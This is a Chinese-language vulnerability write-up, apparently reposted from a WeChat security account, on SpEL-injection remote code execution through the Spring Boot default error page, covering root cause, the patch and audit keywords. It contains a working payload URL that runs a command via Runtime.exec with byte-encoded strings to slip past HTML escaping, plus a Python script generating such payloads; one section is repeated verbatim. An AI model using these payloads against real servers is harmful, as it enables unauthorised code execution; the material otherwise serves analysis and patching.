Spring 默认错误页面命令执行
一、漏洞简介
Spring 表达式语言(简称 SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似Struts2 的OGNL。但提供了额外的功能最显着的是方法调用和基本的字符串模板功能这进而也可能导致模板注入。
Spring 默认错误页面存在SpEL注入RCE,但该漏洞并未申报CVE,为了描述方便,本文将其称为CVE-2017。CVE-2017 与 CVE-2016-4977 (Spring Security OAuth RCE)有不少相似之处:
-
均是Spring 安全漏洞
-
均是SPEL注入导致RCE
-
漏洞触发点均发生在错误视图
因为存在众多相似点,不少安全人员将两者混为一谈。
在差异方面,两者的差异在于:
-
CVE-2017 存在前提条件(需在自定义页面中触发异常 转至SpringBoot 默认错误页面)
-
CVE-2016-4977 默认即可触发(当认证失败<通过>时,默认使用Whitelabel作为视图来返回错误页面视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数)
相同点 | 不同点 |
---|---|
均是Spring 安全漏洞 | CVE-2017 需找寻报错接口页面(在接口页面中,使用畸形数据,触发异常到达 SpringBoot 默认错误页面) |
均是SPEL注入导致RCE | CVE-2016-4977 默认即可触发(当认证失败<通过>时,默认使用Whitelabel 作为视图来返回错误页面,视图中调用SpelView类进一步调用SpelExpressionParser 处理用户参数) |
漏洞触发点均发生在错误视图 | CVE-2017在Spring 1.X 影响范围远大于CVE-2016-4977 |
二、漏洞影响
Spring Boot 1.1.0-1.1.12
Spring Boot 1.2.0-1.2.7
Spring Boot 1.3.0
(需fuzz得到 默认错误页面的接口及参数名)
三、环境搭建
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
四、复现过程
Fuzz接口,观察到Whitelabel Error Page页面返回状态码500
进一步拼接参数Fuzz接口,拼接name等常用参数。
进一步拼接参数Fuzz接口,拼接id等常用参数,观察到页面发生变化。
使用${}继续Fuzz id参数。
http://127.0.0.1:9091/article?id=${2664/4}
使用calc命令验证 RCE。
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}
使用 DNSLOG 命令验证 RCE。
五、漏洞原理
-
spring boot 处理用户输入值出错后,报错流程进入 org.springframework.util.PropertyPlaceholderHelper 类中,用 parseStringValue 方法,对${}进行递归解析用户输入值。
-
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
代码层面观察,程序如何在错误页面中执行用户输入的代码表达式:
1.页面模板
默认错误页面Whitelabel Error Page页面模板
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id='created'>${timestamp}</div>
<div>There was an unexpected error (type=${error}, status=${status}).</div>
<div>${message}</div>
</body>
</html>
不难发现,此页面将动态生成,生成的页面包含存在时间戳、网页状态message等基本信息。
效果如下图所示:
五、漏洞原理
-
spring boot 处理用户输入值出错后,报错流程进入 org.springframework.util.PropertyPlaceholderHelper 类中,用 parseStringValue 方法,对${}进行递归解析用户输入值。
-
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
代码层面观察,程序如何在错误页面中执行用户输入的代码表达式:
1.页面模板
默认错误页面Whitelabel Error Page页面模板
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id='created'>${timestamp}</div>
<div>There was an unexpected error (type=${error}, status=${status}).</div>
<div>${message}</div>
</body>
</html>
不难发现,此页面将动态生成,生成的页面包含存在时间戳、网页状态message等基本信息。
效果如下图所示:
2.message可控
漏洞在于message参数由用户指定,在this.context中可看到,message参数由用户指定。
报错页面设计message回显,应是为了让用户知晓,先前输入的字符串内容不正确,并不期望程序将用户输入作表达式执行。
context上下文参数查看,效果如下图所示:
3.代码界定符
如将${}直接传递至SpEL将报错,程序需要将${}去除,将内部 40*5 取出操作发生在substring处。此次回答了使用${}而不用SpEL默认 #{…} 作为定界符。
去除定界符,效果如下图所示:
4.特殊字符绕过
因为在解析SpEL前,在上下文context中取出用户输入message值要进行html实体化,凡payload中带有' 、" 特殊字符会被html实体转义,导致不能预期的执行代码,故payload需保证html编码后依然发挥作用。
Object value = expression.getValue(this.context);
return HtmlUtils.htmlEscape(value == null ? null : value.toString());
可以通过String类动态生成特殊字符,最终构造:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
5.批量扫描
综上原理,设计资产漏洞扫描器时,为提高该漏洞特征识别,可预先扫描JS文件得到接口和参数,使用接口并拼接参数=${特征值识别},若发现response中报错页面将特征值回显,可确定目标存在SpEL表达式漏洞。
六、POC构造
使用python或在线网页工具,将字符串中字符逐个转换为 0x63 字节形式,绕过html实体编码:
# -*- coding:utf-8*-
# gen_byte
# example: ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
byte_letter = ""
command = 'calc'
for x in command:
byte_letter += hex(ord(x)) + ","
exec = byte_letter.rstrip(',')
print("${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{"+exec+ "}))}")
执行效果
七、修复方法
升级至1.3.1及以上版本
修复细节如下:
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper("${", "}");
补丁通过使用新创建的NonRecursivePropertyPlaceholderHelper类,防止parseStringValue递归解析。
八、小结
SPEL表达式较为灵活,其可以很好地适配业务中“经常变化”的部分,这可能是“业务规则”,也可能是“不同的数据处理逻辑”,常见的SPEL实现资源的注入有如:调用各种资源的情况,包含普通文件 网址 配置文件 系统环境变量。
在审计中可使用关键字加快进展如org.springframework.expression.spel.standard expression.getValue()expression.setValue() 。
在项目中运用Spel技术的开发人员编程水平通常较高,也正是这种巧妙运用使得漏洞较为隐蔽,较难实现一致性修复,需要安全人员付出足够耐心去寻找查核修复完成情况。
本文始发于微信公众号(疯猫网络):Spring 默认错误页面-命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论